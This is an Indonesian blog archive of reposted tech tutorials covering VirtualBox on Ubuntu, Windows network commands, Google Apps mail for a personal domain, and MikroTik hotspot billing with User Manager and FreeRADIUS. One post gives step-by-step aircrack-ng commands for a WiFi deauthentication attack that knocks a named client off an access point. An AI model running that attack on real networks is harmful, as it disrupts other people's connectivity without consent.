RSS

Category Archives: news of sains and tecnology

Virtual Box di Ubuntu

 
Apa itu Virtualbox ? virtualbox adalah suatu program yang dibuat oleh innotex (http://www.innotek.de) yang bekerja untuk mem-virtual-kan suatu kondisi tertentu (dalam hal ini adalah sistem operasi) di dalam suatu sistem operasi yang telah ada. Sebenarnya selain VirtualBox masih ada program lain yang berfungsi sama, sebut saja VMWare, Parralel, Qemu,dll. Tetapi untuk kali ini penulis hanya akan membahas tentang VirtualBox.

Di UBUNTU untuk menginstall VirtualBox bisa dilakukan dengan menggunakan fasilitas Add/Remove Application atau dengan menggunakan fasilitas Synaptic Package Manager. Atau bisa juga dengan men-download programnya pada link yang terdapat di bagian bawah tulisan ini. Sebagai gambaran bagaimana wujud dan bentuk dari program VirtualBox ini disaat bekerja, penulis tampilkan screenshoot dari layar komputer penulis : (catatan:klik pada gambar untuk memperbesar)

Sebagaimana gambar diatas, Windows XP SP 2 berjalan mulus pada Ubuntu 7.10 Gutsy Gibbon sebagai Host. Windows XP yang berjalan pada Ubuntu dapat mengakses semua Peripherial yang ada pada laptop penulis (USB Port, LAN, CD-Rom) dengan sempurna. Dengan kata lain, kita seperti bekerja dengan 2 komputer.

Bagi teman-teman yang mungkin saat ini (setelah melihat screenshoot diatas) ingin mencicipi yang namanya VirtualBox, silahkan install melalui :

  • Add / Remove Applications (terdapat pada section Other)
  • Synaptic Package Manager (gunakan “virtualbox”pada kolom search. ingat, tanpa tanda petik)
  • Download dari link yang tersedia di bagian bawah tulisan ini

Dan setelah installasi selesai, silahkan klik 2x pada icon Innotex VirtualBox. dan untuk memudahkan teman-teman saat pertama kali menggunakan VirtualBox, penulis sajikan (share) screenshoot dari layar penulis, (catatan: klik pada gambar untuk memperbesar)

Gb.1 Virtual Box SetupGb.2 Describe your New Machine

Define the MemoryCreating Virtual Space in your Harddisk

  • Pada gambar diatas, Gambar pertama kita bisa lihat bahwa pertama kali kita jalankan VirtualBox, kita akan langsung di pandu untuk mensetting VirtualBox. (bagaimana ??? cukup user friendly kan ternyata linux itu ? )
  • setelah kita mengklik “Next” maka kita akan langsung masuk ke tahap pemberian “nama machine” dan tipe OS dari mesin kita nanti. untuk nama, anda bisa bebas menentukan akan anda namakan dengan apa virtual machine anda nanti. dan untuk type OS, harap di samakan dengan OS yang akan anda Install ke-dalam VirtualBox nanti. Bila anda ingin menginstall Windows XP, maka pilihlah Windows XP pada pilihan System Operasi.
  • klik-lah “Next” setelah anda selesai memberi nama dan menentukan tipe OS anda, maka anda akan masuk ke area dimana anda harus menentukan seberapa besar memory yang akan anda alokasikan untuk Virtual Machine anda. mohon di perhatikan, memory di sini sangat berpengaruh terhadap kinerja komputer. baik komputer Host maupun Guest. alokasi memory yang terlalu kecil akan membuat Virtual Machine anda keteteran dalam menjalankan tugasnya, demikian pula sebaliknya, alokasi memory yang terlalu besar akan membuat komputer Host yang kedodoran. Idealnya, alokasikanlah memory untuk Virtual Machine dengan rentang 256mb – 512mb. setelah itu klik “Next” untuk masuk ke tahap selanjutnya.
  • pada tahapan ini anda harus menentukan seberapa besar kapasitas Hardisk yang akan anda gunakan untuk Virtual Machine anda nanti, apabila sebelumnya anda belum mendefinisikannya, ditandai dengan tulisan <no hardisk>, buatlah dengan menekan tombol “New”. Anda akan di bawa ke tahap seperti pada gambar di bawah ini :
Gb.1. setting Hardisk Virtual MachineGb.2 setting Hardisk Virtual Machine
Gb.3 Setting Hardisk Virtual Machine
  • pada gambar 1 diatas adalah informasi bahwa anda memasuki fasilitas hardisk wizard. tekan “Next” untuk melanjutkan.
  • anda akan memasuki tahap seperti gambar.2 diatas, dimana anda di hadapkan pada pilihan, Dynamic expanding image, atau Fixed-size image. Bila anda memilih pilihan pertama, maka Virtual box akan mengalokasikan hardisk sesuai yang kita tentukan nanti pada tahap selanjutnya, sesuai dengan perkembangan. Dalam artian, image dari Hardisk nanti di awali dengan ukuran sekecil mungkin dan akan berkembang seiring seberapa banyak program yang anda install di dalam Virtual Machine anda nanti, tetapi tidak akan lebih besar dari yang telah anda tentukan. Tetapi bila anda memilih pilihan yang ke 2 yaitu Fixed-size image, maka VirtualBox akan mengalokasikan seluruh alokasi hardisk yang telah anda tentukan untuk digunakan sebagai image dari virtual machine. perbedaan ini berpengaruh kepada kecepatan akses, Fixed-size akan lebih cepat dalam performance, tetapi kerugiannya adalah hardisk kita udah di plot sebesar yang kita tentukan. penulis cenderung untuk merekomendasikan opsi yang ke 2. Setelah itu klik “Next” untuk ke tahap berikutnya.
  • pada gambar 3, kita diminta untuk menentukan seberapa besar kapasitas hardisk kita yang akan digunakan untuk virtual machine nanti, dan angka yang di recomended-kan adalah tidak lebih kecil dari 10Giga atau dengan kata lain untuk bekerja dengan baik, virtual machine memerlukan kapasitas hardisk minimal sebesar 10 Giga.

Gb.5 setting up VirtualBox

Setelah anda menentukan besarnya kapasitas hardisk dilanjutkan dengan menekan tombol “Next” maka selanjutnya anda sampai di akhir setting VirtualBox ditandai dengan adanya Summary dari VirtualBox tentang apa yang telah anda Setting. Dan bila anda telah yakin silahkan tekan tombol Finish untuk mengakhirinya. Sampai dengan tahap ini anda telah selesai mensetting VirtualBox dan siap untuk anda gunakan.
Pada saat pertama kali anda tekan tombol power pada VirtualBox mungkin anda akan menemui pesan error “permission denied bla bla bla… ” yang intinya kita harus memastikan bahwa user harus memiliki hak untuk memakai Virtual Box. Gak usah bingung, solusinya adalah : System ->Administration -> User and Group, trus klik pada bagian Manage Group dan scroll kebawah cari vboxusers, klik property dan centang siapa saja user yang berhak memakai Virtual Box, setelah itu restart dan VirtualBox anda siap untuk di gunakan.
Contoh gambar untuk setting user Virtualbox
Gb.1 Fixing Error VirtualBox 

Gb.1 Fixing Error VirtualBox
Anda perlu trik khusus untuk dapat mengakses USB di Virtual Box, caranya :
kalau saat anda mencoba untuk mengakses USB muncul pesan Error: Could not load the Host USB Proxy Service (VERR_FILE_NOT_FOUND). The service might be not installed on the host computer. Editlah file /etc/init.d/mountdevsubfs.sh dengan perintah sudo gedit /etc/init.d/mountdevsubfs.sh (jangan lupa untuk menggunakan perintah sudo dan hilangkan tanda pagar (#) pada bagian 

#
      # Magic to make /proc/bus/usb work
      #
      #mkdir -p /dev/bus/usb/.usbfs
      #domount usbfs “” /dev/bus/usb/.usbfs -obusmode=0700,devmode=0600,listmode=0644
      #ln -s .usbfs/devices /dev/bus/usb/devices
      #mount –rbind /dev/bus/usb /proc/bus/usb

Kemudian Save & Exit. Selanjutnya editlah file /etc/udev/rules.d/40-permissions.rules dengan perintah

sudo gedit /etc/udev/rules.d/40-permissions.rules
cari bagian : 

      # USB devices (usbfs replacement)
      SUBSYSTEM==”usb_device”, MODE=”0664″

dan ganti menjadi :

      # USB devices (usbfs replacement)
      SUBSYSTEM==”usb_device”, GROUP=”vboxusers”, MODE=”0664″

Restart komputer dan VirtualBox siap untuk digunakan.

Download Innotek VirtualBox
 
 

Network Command Prompt di Windows

sumber: kajengprabu.wordpress.com

 
Berikut adalah perintah-perintah pada Command Prompt Windows yang berhubungan dengan jaringan komputer.
Untuk melakukan perintah-perintah tersebut Anda harus masuk ke Command Prompt ( Klik Start ->Run ->Ketik CMD )1. ipconfig /all
Menampilkan informasi konfigurasi koneksi, misalnya Host Name, Primary DNS Type, Ethernet Adapter LAN.2. ipconfig /flushdns
Menghapus DNS Cache3. ipconfig /release
“Menghapus” semua koneksi IP Address.

4. ipconfig /renew
Membuat IP Address baru untuk adapter tertentu.

5. ipconfig /displaydns
Menampilkan DNS Cache.

6. ipconfig /registerdns
Melakukan refresh DNS dan meregister kembali koneksi DNS.

7. ipconfig /showclassid
Menampilkan informasi DHCP Class.

8. ipconfig /setclassid
Mengubah DHCP Class ID

9. control netconnections
Menampilkan Network Connection.

10. nslookup
Mengetahui alamat ip address dari nama domain yang di tuliskan

11. netstat
Menampilkan informasi koneksi TCP/IP yang sedang aktif.

12. route
Menampilkan local route.

13. hostname
Menampilkan nama komputer.

14. ping
Contoh: ping www.finderonly.com
Melakukan test koneksi ke situs www.finderonly.com.
Semakin sedikit % loss-nya maka semakin baik koneksinya.

15. tracert
Menampilkan informasi IP Address route.

Untuk melakukan perintah-perintah dibawah ini kita harus masuk ke Command Prompt ( Klik Start ->Run ->Ketik CMD )

Merubah IP Address via Commad Prompt (Static)
===================================
Sebagai contoh, kita akan mengeset :

IP Address = 192.168.1.2
Subnet Mask = 255.255.255.0
Gateway = 192.168.1.1
Matrix = 1

1) ketikkan perintah > netsh interface ip set address name=”Local Area Connection” static 192.168.1.2 255.255.255.0 192.168.1.1 1

penjelasan :
netsh interface ip set address name=”[name-ethernet-card]” static [ip-address] [subnet-mask] [gateway] [matrix]

Merubah IP Address via Commad Prompt (DHCP)
===================================
1) ketikkan perintah > netsh interface ip set address “Local Area Connection” dhcp

Untuk melakukan perubahan DNS IP address (Static),
==================================
Misal merubah dns server menjadi 192.168.1.1
1) ketikkan perintah > netsh interface ip set dns “Local Area Connection” static 192.168.1.1

Jika ingin mengeset DNS Server (DHCP)
===============================================
1) ketikkan perintah > netsh interface ip set dns “Local Area Connection” dhcp

Untuk melakukan perubahan WINS (Static),
==================================
Misal merubah dns server menjadi 192.168.1.1
1) ketikkan perintah > netsh interface ip set wins “Local Area Connection” static 192.168.1.1

Jika ingin mengeset Wins (DHCP)
===============================================
1) ketikkan perintah > netsh interface ip set wins “Local Area Connection” dhcp

Semoga tutorial ini bisa bermanfaat buat kalian semua..


Smile
 
 

Melumpuhkan Client yang terhubung pada suatu AP menggunakan backtrack

sumber: http://kanjengprabu.wordpress.com

Melumpuhkan Client yang terhubung pada suatu AP:

1. Jalankan Live CD LinuxBackTrack 2.

2. Jalankan Kismet untuk mengetahui MAC-Address AP dan MAC-Address Client serta channel dari AP. Lalu catat semua infrmasi yang didapat.

3. Tutup Kismet, lalu buka console, ketikkan:
#airmon-ng stop ath0 -> untuk mematikan driver ath0
#airmon-ng stop ath1 -> untuk mematikan driver ath1
#airmon-ng start wifi0 -> menghidupkan/mengaktifkan driver

4. Jalankan scanning wireless menggunakan Airodump :
#airodump-ng ath0

5. Berikutnya buka konsole satu lag(dgn Airodump masih aktif jalan) lakukan setting ath0 untuk melakukan serangan (De Authentication) pada komputer client (target). Ketikkan:
#ifconfig ath0 up -> untuk mengaktifkan ath0
#iwconfig ath0 mode monitor channel 11 -> menentukan agar ath0 dalam mode monitor, sedangkan angka 11 merupakan channel yang dipakai oleh AP (didapatkan dari hasil scanning Kismet).

6. Langkah terakhir, kita lakukan serangan, ketikkan:
#aireplay-ng –deauth 20 -c 00:0E:2E:C1:1E:83 -a 00:0E:2E:C2:2C:0E ath0
Keterangan:
Aireplay-ng -> program yang digunakan untuk melakukan de authentication
–deauth -> option untuk serangan de authentication
20 -> jumlah sending packet
00:0E:2E:C1:1E:83 -> MAC-Address komputer target
-a -> option untuk Access Point
00:0E:2E:C2:2C:0E -> MAC-Address Access Point
ath0 -> interface yang digunakan untuk menyerang

 
 

Bikin Email dengan Domain Pribadi

sumber: http://jhezer.web.id

# Tutor ini dibuat hanya untuk sekedar mengulang / membagi pengetahuan tentang pembuatan email dengan domain sendiri memanfaatkan Mail Exchanger Server Google.

# Jika Anda punya domain sendiri dengan Hosting juga sendiri (gratis / bayar), lebih keren rasanya jika punya akun email dengan domain sendiri daripada email dengan domain milik web lain. *narsis dikit*

# Tutor ini ditujukan 99,99 % bagi yang belum tahu cara membuat akun email dengan domain sendiri ( nama@domainanda.tld)

[ Content ]

Mempunyai akun email di mail server besar seperti Gmail / Yahoo / Hotmail, memang hampir setiap orang memilikinya. Namun apabila kita daftar di akun email tersebut, kadang alamat email yang kita inginkan sudah ada orang lain yang terlebih dahulu mendaftar, jadinya keinginan tadi tinggal kenangan. Nah… bagaimana kalo kita tetap ngebet ingin punya alamat email “premium” dengan kata seperti admin, contact, info, no-reply, me dan sebagainya yang biasa digunakan oleh situs-situs besar untuk melayanani user ?. Yap… semua itu bisa diwujudkan dengan memanfaatkan Gmail dari layanan Google Apps. Sebenarnya Google Apps punya beberapa layanan yang menarik seperti Google Calender, Docs, Groups, Sites, Video dan tentunya Gmail yang akan dijadikan target Mail Server ini.

Bikin email sendiri pake layanan email dari Web Hosting sebenarnya juga bisa, tapi lebih baik apabila resource dan bandwidht Hosting di hemat apalagi yang kapasitasnya pas-pasan. Gmail telah menyediakan kapasitas Email yang begitu besar (7 GB) untuk dipakai lewat pemanfaatan MX (Mail Exchanger) Servernya, Interface email yang lebih baik daripada yang dipake di Web Hosting, dan ditambah apabila nantinya Hosting bermasalah kita tetap bisa mengakses email dengan domain sendiri dibanding jika memakai layanan email dari Web Hosting.

Langsung aja yoo dan Lets Try……..

1. Pertamax, tentunya sediain domain pribadi sebagai domain email kita. Contoh : jhezer.web.id

2. Loncat ke http://google.com/a/cpanel/domain/new

3. Nah di sini masukin url Blog di form “Enter your domain name”. Contoh lagi : jhezer.web.id (gak pake www),trus pilih opsi Administrator dan lanjut ke “Get Started”.

Hide «

sign up 300x176 Bikin Email dengan Domain Pribadi

4. Sama seperti rutinitas bikin email baru, isi form yang penting-penting aja (*) dan Continue.

5. Trus selanjutnya disuruh ngisi username, password dan captcha. Di isi yoo dengan pilihan masing-masing, tapi biasanya username “admin” jadi pilihan utama dan klik Accept Continue with setup.

Hide «

daftar2 300x187 Bikin Email dengan Domain Pribadi

6. Untuk Proses verifikasi, kayaknya lebih enak milih Upload html file yang dikasih ke Hosting.

7. File html yang dikasih biasanya dengan nama “googlehostedservice.html” plus dengan kode unik yang diberikan Om Gugel.

Hide «

upload html 300x105 Bikin Email dengan Domain Pribadi

8. Pindah dulu sebentar ke Cpanel Web Hosting *tentunya login dulu* dan Upload file tersebut ke Hosting pake file manager / sejenisnya, biasanya diupload dalam folder “public_html” ,sebelumnya file tersebut dibikin dulu di notepad / text editor lain, trus isi dengan kode unik yang diberikan dan simpan file dengan nama “googlehostedservice.html”. (jendela Cpanel jangan ditutup dulu yoo).

Hide «

upload html hosting 300x157 Bikin Email dengan Domain Pribadi

9. Balik ke Google Apps lagi dan klik I’ve completed the steps above.

10. Nunggu bentar , skip aja untuk launch guide dan Dasboard Google Apps akan muncul, trus pilih Active Email.

Hide «

email aktif Bikin Email dengan Domain Pribadi

11. Langkah selanjutnya diminta untuk merubah MX Entry / Record di Web Hosting dengan memilih salah satu dari daftar berikut :

ASPMX.L.GOOGLE.COM.

ALT1.ASPMX.L.GOOGLE.COM.

ALT2.ASPMX.L.GOOGLE.COM.

ASPMX2.GOOGLEMAIL.COM.

ASPMX3.GOOGLEMAIL.COM.

ASPMX4.GOOGLEMAIL.COM.

ASPMX5.GOOGLEMAIL.COM.

Balik lagi ke Cpanel Web Hosting dan pilih MX Entry / Record dan isikan Form MX Record dengan salah satu dari daftar diatas, biasanya yang dipake  “ASPMX.L.GOOGLE.COM.” karena menurut Om Gugel yang ini lebih diutamakan, dan Update / Save.

Hide «

mx record edit Bikin Email dengan Domain Pribadi

12. Ngungsi lagi ke Google Apps untuk sekedar klik I’ve completed these step tunggu dulu sampai diaktifasi *bisa chat / maen game dulu* biasanya dari pengalaman cukup nunggu beberapa jam / lebih *kalo beruntung* untuk proses ini. (defaultnya 48 jam).

Hide «

email aktif loading1 Bikin Email dengan Domain Pribadi

13. Nunggu…Nunggu…..Ehh… ternyata udah diaktifin, tinggal login deh sesuai user dan pass yang dibikin tadi.

Hide «

login Bikin Email dengan Domain Pribadi

14. Cek apakah udah bener-bener aktif dengan mencoba kirim email ke akun lain. Kalo berhasil… Selesai dah bikin email dengan domain sendiri. Gampang kan…

[ Closing ]

Catt :

Akun email bisa ditambah sampai 50 akun, cukup dengan Create New Users di Dasboard Google Apps. Login ke Akun Email : http://mail.google.com/a/*domain anda*/

Kalo bingung silahkan kontak : admin@jhezer.web.id / me@jhezer.web.id (sampel email dengan domain sendiri) icon smile Bikin Email dengan Domain Pribadi atau kalau JhezeR lagi online YM buzz aja di jhez3r@yahoo.com

 
 

Hotspot Mikrotik + User Manager + Chat

sumber : http://hungs1n.blogspot.com/

cara membuat id chat:

  • untuk mendapatkan id chat yang gratis, contoh daftar di http://www.shoutmix.com/, kemudian login dengan id yang kita buat tadi.
  • ambil script tampilan chatnya. :)

menggabung halaman login dengan chat:

  • buka winbox, ke munu file, ambil satu folder hotspot ( cuma drag n drop ke dekstop).
  • folder hotspot tadi dibuka dan cari file login.html, kemudian edit dengan editor web seperti notepad++.
  • contoh disini merubah tampilannya sederhana saja yaitu 2 buah kolom, sebelah kiri untuk kolom chat dan sebelah kanan untuk kolom login.

membypass url chat

  • di winbox ke menu ip > hotspot > walled–garden
  • klik [+] isi dengan action allow, dst.host dan dst.port seperti gambar di bawah ini

SELESAI

nb:
“dengan kualitas seperti Anda saya yakin anda bisa mengembangkannya lebih dari ini.”
contoh punya saya :)

User Manager
 Berikut ini langkah-langkah simple untuk membuat server hotspot dengan menggunakan user manager bawaan Mikrotik:Saya asumsikan ip dari interface yg digunakan untuk server hotspot adalah 192.168.100.11. Run terminal / ssh / telnet
2. Enable dulu use-radius di hotspot

[admin@mikrotik] > ip hotspot profile p
Flags: * – default
0 * name="default" hotspot-address=0.0.0.0 dns-name="" html-directory=hotspot rate-limit="" http-proxy=0.0.0.0:0
smtp-server=0.0.0.0 login-by=cookie,http-chap http-cookie-lifetime=5s split-user-domain=no use-radius=no

1 name="hsprof1" hotspot-address=192.168.100.1 dns-name="server.hotspot" html-directory=hotspot rate-limit=""
http-proxy=0.0.0.0:0 smtp-server=0.0.0.0 login-by=cookie,http-chap http-cookie-lifetime=5s split-user-domain=no use-radius=no

3. Akan terlihat profile2 yg telah dibuat, kemudian tentukan profile mana yg akan dipake di use-radius

[admin@mikrotik] > ip hotspot profile set 1 use-radius=yes

(1 = nomor profile)

4. Membuat server radius

[admin@mikrotik] > radius add address=192.168.100.1
[admin@mikrotik] > radius p
Flags: X – disabled
# SERVICE CALLED-ID DOMAIN ADDRESS SECRET
0                                             192.168.100.1
[admin@mikrotik] > radius set 0 service=hotspot,login secret=12345678

5. Membuat owner user managaer

[admin@mikrotik] > tool user-manager customer add login="admin" password="test" permissions=owner

6. Menghubungkan hotspot ke radius server

[admin@mikrotik] > tool user-manager router add subscriber=admin ip-address=192.168.100.1 shared-secret=12345678

7. Test dengan browser, buka http://192.168.100.1/userman

sumber: http://www.lintaskapuas.co.cc

User  Manager Mikrotik merupakan management system berbentuk web, yang di integrasikan dengan mikrotik yang mana bisa di gunakan untuk meminage user-user mikrotik baik dari internal mikrotik itu sendiri maupun dari luar system base mikrotik itu sendiri, Usermanager atau sering di singkat juga dengan Userman ini  paling banyak di gunakan untuk memanage user sbb:

  • System billing User Hotspot
  • PPP  atau PPPoE Client
  • DHCP Server
  • Wereles user, dan masih banyak lagi

Pada tulisan ini akan mencoba sedikit mengulas mengenai User Manager untuk Billing Hotspot. Sebelumnya paket hotspot dan dhcp server harus sudah disetting/enable, dan dikonfigurasi terlebih dahulu pada Mikrotik RouterOS untuk konfigurasi mikrotik anda bisa membacanya di sini. Asumsi pada tulisan ini RouterOS terdiri dari 2 (dua) interface ethernat. Ether 1(satu) sebagai interface yang terhubung ke internet sedangkan ethernat 2(dua) sebagai interface yang terhubung ke client hotspot.

* Pada Ethernat 1(satu) disini saya berikan  ip 192.168.0.2 ( asumsi gamtway dari modem 192.168.0.1 )
* Dan pada ethernat 2(dua) dengan ip 192.168.1.1/24.

Langkah-langkahnya sebagai berikut:

1. Set DHCP  pada ethernat 2(dua), bisa anda baca di artikel saya “Setup Mikrotik Untuk Hotspot Gatway
2. Aktifkan Radius Server pada Frofil hotspot  dan pada tap login ceklist HTTP CHAP.

3. Set Radius server untuk usermanager agar menangani hotspot  buka Sistem >> Radius >> Add,  ceklist pada bagian service = Hotspot, kemudian masukkan Address = 192.168.1.1, dan pada Secret (bebas yang penting nanti sama dengan setingan untuk router userman ) dalam artikel ini saya isikan 123456

4. Sebagai catatan pertama kali hotspot user autentifikasi akan membaca pada database /ip hotspot user. Remove data pada direktori ini ( bila ada )agar autentifikasi pada radius.

5. Installasi usermanager ;

  • Buka system packages dari winbox, Jika belum ada paket user manager terinstall di package list, anda bisa menginstallnya terlebih dahulu. Karena User-manager merupakan paket terpisah dari routerOs mikrotik.Anda bisa mendownload paket-paket mikrotik di http://www.delta.net.id/software/mikrotik/  atau disini http://www.mikrotik.com/download.html  pilih salah satu paket .npk dengan menyesuaikan versi mikrotik yang sedang digunakan (misalkan RouterOS yang di gunakan V.4.3 on x86 maka paket npk yang di download juga V.4.3 on x86.npk ) kemudian exstrat file tersebut lewat PC windows untuk mengambil file paket user-managernya saja.
Packages list
  • Dibagian Winbox buka File list, copy  paket user-manager.npk dari folder windows lalu pastekan di file list winbox. Setelah proses upload selesai, silahkan Reboot mikrotik anda dengan cara klik menu System -> Reboot agar paket yang kita upload barusan langsung di install oleh mikrotik.
  • Untuk memastikan user manager sudah ter install apa belum di mikrotik kita, klik menu System -> Packages pada jendela winbox anda. Pastikan paket user-manager sudah ada di Package List mikrotik routerOS anda.( lihat gambar packages list )

Untuk mengkonfigurasi user manager yang sudah kita install tadi, kita bisa dengan cara memanggil IP mikrotik dari browser kita Firefox Atau Google Chrome. Misal IP mikrotik pada artikel ini  192.168.0.2 atau 192.168.1.1

http://192.168.1.1/userman  atau http://192.168.0.2/userman

Pada halaman login user manager, masukan user admin dan password kosong, seperti gambar di bawah ini.

Konfigurasi Usermanager Via Halaman userman :

  • Setelah berhasil login owner diharapkan untuk memasang password login usermanager pada pagian Customers >> View >> Admin  lalu masukkan password yang diinginkan
  • Membuat hotspot Router caranya ; pada bagian Router >> Add   isikan Name = Hotspot, IP Address=192.168.1.1 Shared Secret= 123456    terus klik add 

  


  • Buat user untuk client pada jendela userman Klik User >> Add, isikan usermane dan password untuk client. 

Silahkan dicoba untuk konek kehotspot dengan laptop atau pc ( pada artikel ini koneksi masih menggunakan kabel ) dengan mengunakan user yang sudah di buat lewat usermanager tadi. bila bisa langsung login tampa ada tulisan Radius not responding berarti anda sudah berhasil membangun billing hotspot yang terintegrasi dengan usermanager. Untuk pembuatan add user dengan sistim Generate dan memiliki  masa berlaku pemakaian maka kita harus membuat kredit terlebih dahulu.

dimana dari dari gambar di atas  name = nama kredit, times = 1w3d ( 1w = satu minggu, 1d = satu hari, 1h = satu jam ) dari times yang saya tulis di gambar menunjukkan masa berlaku untuk 10 jam pemakaian adalah 10 hari ( available mana yang lebih dulu ) dengan harga Rp 15.000.

Selesai..!!

Bila ada yang belum jelas bisa di tulis di kotak komentar…

 

 

http://loliktry.blogspot.com

Mikrotik Hotspot with FreeRadius + MySQL

Sehubungan dengan bertambah ribetnya kebutuhan Mikrotik Hotspot, maka mulai ubek2 untuk bisa koneksi Mikrotik Hotspot dengan FreeRadius dan MySQL. Disini menggunakan Mikrotik v.3.x + fasilitas Hotspot dan Radius Client, FreeRadius 2, MySQL Server 5 dan Ubuntu 8.10

Sebelumnya siapkan Mikrotik dengan Hotspotnya, dapat mengikuti cara di http://hanadi.wordpress.com/2008/06/27/mikrotik-hotspot-login-with-https/. Setelah itu, tinggal mengaktifkan koneksi Hotspot Login ke Radius dan Radius Clientnya.

    Cara yang dipakai yaitu sebagai berikut

  1. Ubah koneksi Hotspot Login ke Radius, jalankan perintah “/ip hotspot profile set hsprof1 use-radius=yes
  2. Tambahkan Radius Client pada Mikrotik, jalankan perintah “/radius add secret=secretradius123 address=192.168.1.10 service
    =hotspot

    Keterangan :
    Secret adalah kode rahasia untuk koneksi ke server radius
    Address adalah alamat dari server radius

  3. Allow ip address server radius agar tidak terkena authentikasi hotspot, jalankan perintah “/ip hotspot ip-binding add address=192.168.1.10 type=bypassed

Lalu, siapkan server radiusnya. Dapat mengikuti cara http://hanadi.wordpress.com/2009/03/25/ubuntu-freeradius-mysql/. Setelah itu tinggal menambahkan nas dan user hotspotnya.

    Caranya sebagai berikut

  1. Tambahkan radius client pada table nas

    # mysql -u root -p
    Enter password:
    Welcome to the MySQL monitor. Commands end with ; or \g.
    Your MySQL connection id is 715
    Server version: 5.0.67-0ubuntu6 (Ubuntu)

    Type ‘help;’ or ‘\h’ for help. Type ‘\c’ to clear the buffer.

    mysql> use radius;
    Reading table information for completion of table and column names
    You can turn off this feature to get a quicker startup with -A

    Database changed
    mysql> INSERT INTO `nas` (`nasname`, `shortname`, `type`, `ports`, `secret`, `community`, `description`) VALUES (’192.168.1.1′, ‘MikrotikNET’, ‘other’, 1812, ‘secretradius123′, ‘MikrotikCommunity’, ‘RADIUS Client’);
    Query OK, 1 row affected (0.00 sec)

    mysql> exit
    Bye

  2. Tambahkan user hotspotnya

    # mysql -u root -p
    Enter password:
    Welcome to the MySQL monitor. Commands end with ; or \g.
    Your MySQL connection id is 715
    Server version: 5.0.67-0ubuntu6 (Ubuntu)

    Type ‘help;’ or ‘\h’ for help. Type ‘\c’ to clear the buffer.

    mysql> use radius;
    Reading table information for completion of table and column names
    You can turn off this feature to get a quicker startup with -A

    Database changed
    mysql> INSERT INTO `radcheck` (`username`, `attribute`, `op`, `value`) VALUES (‘userhotspot1′, ‘Password’, ‘:=’, ‘password1′),
    Query OK, 1 row affected (0.00 sec)

    mysql> INSERT INTO `radcheck` (`username`, `attribute`, `op`, `value`) VALUES (‘userhotspot2′, ‘Password’, ‘:=’, ‘password2′),
    Query OK, 1 row affected (0.00 sec)

    mysql> exit
    Bye

  3. Restart server freeradiusnya, agar dapar membaca table nas
    # /etc/init.d/freeradius restart
  4. Pada saat dicoba, terkadang terdapat error pada log file /var/log/freeradius/radius.log yang errornya “Error: rlm_radutmp: Error accessing file /var/log/freeradius/radutmp: No such file or directory”. Solusinya adalah
    # touch /var/log/freeradius/radutmp
    # chown freerad:freerad /var/log/freeradius/radutmp
    # chmod +r /var/log/freeradius/radutmp

Klo gituh selesai deh koneksi dari mikrotik ke freeradiusnya. Untuk pengertian tiap table pada database radius, dapat membaca website http://wiki.freeradius.org/Rlm_sql. Dan attribut yang digunakan pada database radius untuk mikrotik dapat dilihat pada website http://www.mikrotik.com/testdocs/ros/2.9/guide/aaa_radius.php. Met nyoba deh …

Makasih buat pak haries fajar nugroho untuk ilmunya.
Btw .. klo ada yang punya user manager untuk database radius .. nda nolak kok :D

Ref :
http://infodotnet.blogspot.com/2007/11/part-1-mikrotik-hotspot-freeradius.html
http://www.kotainternet.com/setting-billing-hotspot-integrasi-router-mikrotik.html
http://www.mikrotik.com/testdocs/ros/2.9/guide/aaa_radius.php
http://wiki.freeradius.org/Rlm_sql

http://hanadi.wordpress.com/2009/03/25/mikrotik-hotspot-with-freeradius-mysql/

sitelogo

 

 
 
 
Follow

Get every new post delivered to your Inbox.